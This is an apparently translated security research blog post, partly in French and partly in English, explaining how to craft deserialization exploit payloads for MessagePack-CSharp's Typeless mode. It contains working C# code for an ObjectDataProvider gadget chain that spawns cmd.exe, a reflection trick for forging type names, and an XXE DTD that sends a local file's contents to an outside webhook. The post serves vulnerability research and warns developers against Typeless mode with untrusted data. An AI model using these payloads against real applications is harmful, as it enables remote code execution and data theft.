Génération de charges de désérialisation pour le mode sans type de MessagePack C#
Apr 10, 2023
Le mode sans type de MessagePack-CSharp permet la sérialisation polymorphe en intégrant des informations complètes sur le type, y compris les champs privés, ce qui le rend puissant mais dangereux pour des données non fiables. Étant donné que la désérialisation repose sur la réflexion et les setters de propriétés automatiques, les attaquants peuvent créer des charges utiles qui déclenchent l'exécution de code ou des attaques XXE en abusant de chaînes de gadgets connues. Même avec les options de sécurité renforcées de MessagePack activées, le mode sans type reste fondamentalement non sécurisé et ne doit jamais être utilisé avec des entrées non fiables.
MessagePack-CSharp est une bibliothèque de sérialisation haute performance qui simplifie le processus de sérialisation et de désérialisation d'objets complexes. De nombreux développeurs .NET préfèrent MessagePack car il est plus rapide et produit une sortie plus petite que d'autres formats de sérialisation comme XML ou JSON.
MessagePack-CSharp offers a feature called Typeless mode, which enables dynamic, polymorphic serialization and deserialization of objects without prior knowledge of their types. This capability is particularly beneficial in situations where the object’s type is only known at runtime, allowing developers to serialize and deserialize objects without the need to decorate classes with attributes. Typeless mode is capable of serializing almost any type, including public and private properties and fields.
Avec la dépréciation de BinaryFormatter, les développeurs peuvent rechercher des alternatives telles que le mode sans type de MessagePack, car il offre une fonctionnalité similaire.
La documentation de MessagePack déconseille d'utiliser le mode sans type avec des données non fiables, car cela pourrait entraîner des problèmes de sécurité. Cet article illustre ces problèmes en montrant comment créer des charges utiles d'exploitation de désérialisation pour le mode sans type de MessagePack.
Sérialisation d'un objet en utilisant le Mode Sans Type
namespace SomeLibrary
{
public class SomeClass
{
private string _privateField;
public string PublicProperty { get; set; }
public string PrivateProperty { get; private set; }
public void SetPrivateProperty(string pPrivateProperty)
=> PrivateProperty = pPrivateProperty;
public void SetPrivateField(string pPrivateField)
=> _privateField = pPrivateField;
}
}
namespace MessagePackTypelessDemo
{
class Program
{
static void Main()
{
var obj = new SomeLibrary.SomeClass { PublicProperty = "ABCDEFG" };
obj.SetPrivateProperty("HIJKLMNOP");
obj.SetPrivateField("QRSTUVWXYZ");
System.IO.File.WriteAllBytes(
"serialized.bin",
MessagePack.MessagePackSerializer.Typeless.Serialize(obj));
}
}
}
Il est important de noter que les données sérialisées incluent des valeurs de propriétés et de champs privés, ainsi que le AssemblyQualifiedName (AQN) de SomeClass. Lors de la désérialisation, MessagePack fera référence à ces informations de type pour garantir que ce type d'objet exact soit construit et peuplé correctement.
Figure 1. Vue hexadécimale des données sérialisées sans type de MessagePack
Lors de la désérialisation, MessagePack utilise la réflexion pour invoquer un constructeur par défaut qui ne prend pas de paramètres. Si un constructeur par défaut n'est pas présent, la désérialisation échouera. De plus, la réflexion est utilisée pour appeler les setters de propriétés et attribuer des valeurs aux champs.
Implications de sécurité de la désérialisation de données non fiables
La documentation de MessagePack aborde les implications de sécurité associées à la désérialisation de données non fiables. La section déconseille spécifiquement d'utiliser le mode sans type avec des données non fiables, car cela pourrait entraîner la désérialisation de types inattendus, ce qui peut entraîner des vulnérabilités de sécurité.
Le MessagePackSerializerOptions classe permet aux développeurs de configurer des comportements spécifiques lors de la sérialisation et de la désérialisation, tels que l'utilisation de la compression Lz4 et la gestion des versions d'assemblage. La classe définit également une liste de types dangereux connus que MessagePack ne désérialisera pas. Si l'un de ces types est présent dans les données sérialisées, une exception sera levée et la désérialisation sera interrompue. Cette liste contient actuellement deux types :
- Collection de fichiers temporaires de System.CodeDom.Compiler
- System.Management.IWbemClassObjectFreeThreaded
Options de sérialisation MessagePack peut également être configuré pour utiliser un mode plus sécurisé, visant à traiter des données non fiables, ce qui introduit une profondeur maximale de graphe d'objets et un algorithme de hachage résistant aux collisions. La documentation affirme que ce mode renforce simplement la protection contre les attaques courantes et n'est pas totalement sécurisé.
MessagePackSerializerOptions options =
TypelessContractlessStandardResolver.Options
.WithAllowAssemblyVersionMismatch(true)
.WithSecurity(MessagePackSecurity.UntrustedData);
return MessagePackSerializer.Typeless.Deserialize<object>(serializedBytes, options);
Malgré les limitations imposées, créer une charge utile de gadget sérialisée qui utilise des invocations de setters de propriétés pour initier des actions privilégiées, telles que l'exécution de code, reste faisable lors de la désérialisation de données non fiables. Cela est réalisable à condition que le gadget ne soit pas inclus dans la liste des types non autorisés.
La sérialisation directe d'un type de gadget instancié peut poser problème car toutes les propriétés et champs du type seront sérialisés sans possibilité d'en ignorer certains. La désérialisation de l'objet peut entraîner un objet mal configuré qui peut causer des problèmes lors de l'instanciation, ce qui peut potentiellement entraîner l'échec de l'exploitation. De plus, avec les gadgets basés sur des setters, les chercheurs peuvent avoir besoin d'exécuter la charge utile directement lors de la création de l'objet.
Pour éviter ces problèmes, une meilleure approche serait de créer un objet de substitution minimal et de le sérialiser en tant que véritable type de gadget. De cette façon, seules les propriétés et les champs nécessaires seront définis lors de la désérialisation, réduisant le risque de comportements indésirables.
Génération d'une charge utile ObjectDataProvider pour l'exécution de code
Le ObjectDataProvider gadget est un gadget d'exécution de code largement connu qui figure dans de nombreuses chaînes de gadgets. Cet article ne détaillera pas les spécificités de la façon dont le ObjectDataProvider fonctionne, car l'article d'Alvaro Muñoz et d'Oleksandr Mirosh “Attaques JSON du vendredi 13” fournit une explication complète de son fonctionnement.
In short, the ObjectDataProvider can be used to call Process.Start with user-specified arguments by configuring the MethodName and ObjectInstance properties, which when setting either property invokes the supplied method name on the supplied object instance. Specifically, the MethodName property should be set to “Start” and the ObjectInstance property should be set to an instance of System.Diagnostics.Process. The filename and arguments can then be set via properties contained in the System.Diagnostics.ProcessStartInfo object, which is available as the Process object’s StartInfo property.
Étape 1. Spécifiez les types de substituts
Les types de substituts doivent uniquement contenir les propriétés minimales pour aboutir à l'exécution du code. Pour le ObjectDataProvider gadget, le graphe d'objets doit se conformer à la spécification suivante :
public class ObjectDataProviderSurrogate
{
public string MethodName { get; set; }
public object ObjectInstance { get; set; }
}
public class ProcessStartInfoSurrogate
{
public string FileName { get; set; }
public string Arguments { get; set; }
}
public class ProcessSurrogate
{
public ProcessStartInfoSurrogate StartInfo { get; set; }
}
Étape 2. Construire l'objet ObjectDataProviderSurrogate
Pour générer une charge utile qui exécute “calc.exe”, nous construisons d'abord le ObjectDataProviderSurrogate objet, en définissant les propriétés comme requis pour le vrai ObjectDataProvider objet et en utilisant des substituts supplémentaires si nécessaire.
return new ObjectDataProviderSurrogate
{
MethodName = "Start",
ObjectInstance = new ProcessSurrogate
{
StartInfo = new ProcessStartInfoSurrogate
{
FileName = "cmd.exe",
Arguments = "/c calc"
}
}
};
Étape 3. Modifier le cache de type
Le mode sans type de MessagePack n'inclut pas de fonctionnalité pour sérialiser un type comme un autre. Alors que les développeurs pouvaient auparavant remplacer le TypelessFormatter‘s BindToType délégué pour atteindre cet objectif, cette fonctionnalité a été supprimée lors d'une refonte significative. Cependant, nous pouvons toujours tirer parti de certains comportements internes de MessagePack pour atteindre cet objectif.
Le TypelessFormatter utilise un cache interne pour stocker des informations de type pour des types précédemment traités. Lorsqu'un type est présent dans le cache, le formateur contourne la récupération de l'AQN pour le type via la propriété AssemblyQualifiedName et renvoie plutôt la chaîne AQN mise en cache sous forme de tableau d'octets, qui est ensuite incorporée dans les données sérialisées pour identifier le type sérialisé.
public void Serialize(
ref MessagePackWriter writer,
object? value,
MessagePackSerializerOptions options)
{
// [Truncated]
Type type = value.GetType();
var typeNameCache = options.OmitAssemblyVersion
? ShortenedTypeNameCache
: FullTypeNameCache;
if (!typeNameCache.TryGetValue(type, out byte[]? typeName))
{
TypeInfo ti = type.GetTypeInfo();
if (ti.IsAnonymous() || UseBuiltinTypes.Contains(type))
{
typeName = null;
}
else
{
typeName = StringEncoding.UTF8.GetBytes(
this.BuildTypeName(type, options));
}
typeNameCache.TryAdd(type, typeName);
}
// Use typeName...
}
En ajoutant des types et leurs chaînes AQN correspondantes au cache, nous veillons à ce que le sérialiseur écrive les chaînes AQN spécifiées lors du traitement de ces objets. Étant donné que le cache est privé, nous pouvons utiliser la réflexion pour accéder à la TryAdd méthode de ce champ.
public static void SwapTypeCacheNames(IDictionary<Type, string> pNewTypeCacheEntries)
{
FieldInfo typeNameCacheField =
typeof(TypelessFormatter)
.GetField("FullTypeNameCache", BindingFlags.NonPublic | BindingFlags.Static);
MethodInfo addTypeCacheMethod =
typeNameCacheField.FieldType
.GetMethod("TryAdd", new[] { typeof(Type), typeof(byte[]) });
object typeNameCache = typeNameCacheField.GetValue(TypelessFormatter.Instance);
foreach (var typeSwap in pNewTypeCacheEntries)
{
addTypeCacheMethod.Invoke(
typeNameCache,
new object[]
{
typeSwap.Key,
System.Text.Encoding.UTF8.GetBytes(typeSwap.Value)
});
}
}
We can now add our types to the TypelessFormatter‘s internal type cache, along with the corresponding type names of the real objects. Because the TypelessFormatter is static, any subsequent serialize calls will use this modified type cache.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(ObjectDataProviderSurrogate),
"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
},
{
typeof(ProcessSurrogate),
"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(ProcessStartInfoSurrogate),
"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Étape 4. Sérialiser et désérialiser la charge utile
Nous pouvons confirmer que les données sérialisées contiennent les AQN nécessaires pour le ObjectDataProvider chaîne de gadgets, ainsi que seulement les propriétés et valeurs essentielles qui permettent une exécution réussie du code. Lors de la désérialisation, la charge utile déclenchera Process.Start, lançant calc.exe.
Figure 2. Vue hexadécimale du payload du gadget ObjectDataProvider sérialisé
Figure 3. Exploitation réussie lors de la désérialisation, lancement de calc.exe
Cette fonctionnalité de génération de payload a également été intégrée dans le projet Ysoserial.NET pour permettre aux chercheurs de générer des payloads MessagePack sans type pour les données standard et les données compressées Lz4.
Figure 4. Génération de charges utiles MessagePack sans type avec Ysoserial.NET
Limitations
Dans les versions de MessagePack-CSharp antérieures à v2.3.75 (juillet 2021), il n'est pas possible d'obtenir l'exécution de code en désérialisant un ObjectDataProvider charge utile. Dans ces versions, les accesseurs de propriété sont appelés pour un objet même si leurs valeurs ne sont pas présentes dans les données sérialisées.
The ObjectDataProvider extends the System.Windows.Data.DataSourceProvider class. This class contains the protected property Dispatcher, which in earlier versions of MessagePack will be set to null.
protected Dispatcher Dispatcher
{
get { return _dispatcher; }
set
{
if (_dispatcher != value)
{
_dispatcher = value;
}
}
}
Comme mentionné précédemment, définir les propriétés ObjectInstance ou MethodName spécifiées appellera un interne Rafraîchir méthode qui conduit à l'invocation du nom de méthode spécifié sur l'instance de l'objet, à condition que les deux propriétés aient été définies. Cela signifie que pour une invocation réussie, le Rafraîchir méthode doit être appelée deux fois — une fois pour le réglage de chaque propriété.
At the end of each call to Refresh, a call is made to DataSourceProvider’s OnQueryFinished method, indicating that the query has finished. This method asserts that the Dispatcher property is not null.
protected virtual void OnQueryFinished(object newData, Exception error
DispatcherOperationCallback completionWork, object callbackArguments)
{
Invariant.Assert(Dispatcher != null);
if (Dispatcher.CheckAccess())
{
UpdateWithNewResult(error, newData, completionWork, callbackArguments);
}
else
{
Dispatcher.BeginInvoke(
DispatcherPriority.Normal, UpdateWithNewResultCallback,
new object[]
{
this, error, newData, completionWork, callbackArguments
});
}
}
Puisque Dispatcher est nul à ce stade, Invariant.Assert échouera, entraînant un appel à Invariant.FailFast, ce qui termine finalement le processus. Puisque cela se produira lors du premier appel à Refresh, l'exécution du code ne sera pas possible.
Génération d'un payload XmlDocument pour l'exfiltration de fichiers XXE
The XmlDocument class features the InnerXml string property that invokes XmlDocument‘s Load method with the supplied property value when set. For .NET versions below v4.5.2, this creates a potential vulnerability to XXE (XML External Entity) attacks, which can enable an attacker to exfiltrate files from the system to a remote location.
In .NET Framework versions v4.5.2 and later, the XmlResolver property of XmlDocument is set to null by default, which prevents the processing of XML entities. However, since MessagePack deserializes types with default constructors, it is possible to circumvent this protection by providing an XmlUrlResolver as the XmlResolver property. This creates a pathway for XXE scenarios in later versions from .NET Core through to .NET 7.
Étape 1. Spécifiez les types de substitut d'XmlDocument
Nous spécifions les propriétés minimales requises pour effectuer l'attaque XXE. Notez que la propriété XmlResolver est de type System.Object, plutôt que XmlUrlResolverSurrogate. Cela oblige MessagePack à inclure l'AQN du type de la propriété XmlResolver, nous permettant d'utiliser le mécanisme de permutation de type.
public class XmlDocumentSurrogate
{
public object XmlResolver { get; set; }
public string InnerXml { get; set; }
}
public class XmlUrlResolverSurrogate
{
}
Étape 2. Construire l'objet substitut XmlDocument
Pour exfiltrer un fichier lors de la désérialisation, nous devons d'abord préparer et héberger un fichier DTD, qui sera référencé par l'XML chargé fourni à la propriété InnerXml. Nous pouvons utiliser le service gratuit de collage de texte Pastebin pour héberger le fichier DTD, car il permet un accès direct aux fichiers.
Le DTD lira le contenus du fichier “C:\test.txt” (cet exemple de preuve de concept contient le texte “A1B2C3”) et transmettra le contenu comme un paramètre GET à un service web contrôlé par un attaquant. Pour cet exemple, nous utiliserons le gratuit Webhook.Site service pour attraper les requêtes.
<!ENTITY % a SYSTEM "file:///C:\\test.txt">
<!ENTITY % b "<!ENTITY c SYSTEM 'https://webhook.site/865d77fe-b03e-4833-a68b-4f94a0c0dde8?%a;'>">
%b;
L'XML qui sera chargé lors de la désérialisation fera référence à ce fichier DTD et invoquera l'expansion d'entité qui résulte de la requête GET.
<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "https://pastebin.com/raw/CUc6fZ8N">
<foo>&c;</foo>
La construction complète de l'objet de remplacement est alors simplement une question de peupler le XmlDocumentSurrogatepropriété InnerXml avec le XML ci-dessus et de définir la propriété XmlResolver sur notre XmlUrlResolverSurrogate type.
return new XmlDocumentSurrogate
{
XmlResolver = new XmlUrlResolverSurrogate(),
InnerXml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE foo SYSTEM \"https://pastebin.com/raw/CUc6fZ8N\">" +
"<foo>&c;</foo>"
};
Étape 3. Remplacez les définitions de type
En utilisant la même approche utilisée pour générer le ObjectDataProvider gadget, nous pouvons utiliser le SwapTypeCacheNames fonction pour remplacer les informations de type de remplacement par les informations de type pour le réel XmlDocument gadget.
SwapTypeCacheNames(
new Dictionary<Type, string>
{
{
typeof(XmlDocumentSurrogate),
"System.Xml.XmlDocument, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
},
{
typeof(XmlUrlResolverSurrogate),
"System.Xml.XmlUrlResolver, System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
});
Étape 4. Sérialiser et désérialiser la charge utile
The serialized data for the XmlDocument gadget chain contains the correct AQNs, including the necessary AQN for XmlUrlResolver. Upon deserialization, the payload will trigger a request for the attacker-hosted DTD. The DTD will then be used to extract the contents of “C:\Test.txt”, passing the contents to the webhook as a GET parameter.
Figure 5. Vue hexadécimale de la charge utile du gadget XmlDocument sérialisé
Figure 6. Sérialisation et désérialisation de la charge utile du gadget XmlDocument
Figure 7. Exfiltration réussie de fichiers XXE lors de la désérialisation
Limitations
Les versions de MessagePack-CSharp antérieures à la v2.3.75 (juillet 2021) empêchent l'exécution d'une attaque XXE lors de la désérialisation d'un XmlDocument payload de gadget en raison du bug mentionné précédemment, appelant les setters de propriété pour un objet même s'ils ne sont pas présents dans les données sérialisées.
Le bogue provoque XmlDocumentle setter de la propriété Value, hérité de System.Xml.XmlNode, à être invoqué. Ce setter lance une exception, quel que soit la valeur fournie, ce qui entraîne l'arrêt du processus de désérialisation avant qu'une exfiltration de fichiers puisse se produire.
public virtual string Value
{
get { return null; }
set
{
throw new InvalidOperationException(
string.Format(
CultureInfo.InvariantCulture,
Res.GetString(Res.Xdom_Node_SetVal), NodeType.ToString()));
}
}
Résumé
Cet article fournit un aperçu d'une méthode simple pour créer des charges utiles d'exploitation de désérialisation dans le mode sans type de MessagePack. Étant donné la polyvalence du sérialiseur à gérer non seulement des propriétés privées mais aussi des champs privés, il est probable que plus de gadgets existent pour ce sérialiseur par rapport à ses homologues plus restrictifs.
La désérialisation de données non fiables présente un risque de sécurité important, en particulier lors de la désérialisation de données qui définissent le type d'objet intégré. Les développeurs devraient éviter d'utiliser la fonctionnalité sans type de MessagePack pour désérialiser des données non fiables ; même avec toutes les fonctionnalités de sécurité activées, cela n'est pas sécurisé et ne peut pas être sécurisé.
Remerciements
Remerciements spéciaux à Piotr Bazydlo (@chudyPB) pour avoir offert des perspectives précieuses sur les limites de la désérialisation des chaînes de gadgets ObjectDataProvider dans les versions antérieures de MessagePack, ce qui empêche une exploitation réussie.
FAQ
Partager sur
En savoir plus
À propos de l'auteur
Dane Evans
Ingénieur en Sécurité des Applications Senior
En tant qu'ingénieur en sécurité des applications au sein de l'équipe de Recherche en Sécurité de Netwrix, Dane possède plus d'une décennie d'expérience en sécurité des applications et en ingénierie logicielle. Ses principaux intérêts incluent la sécurité des applications, le cycle de vie du développement logiciel (SDLC), la recherche de vulnérabilités et le développement d'exploits.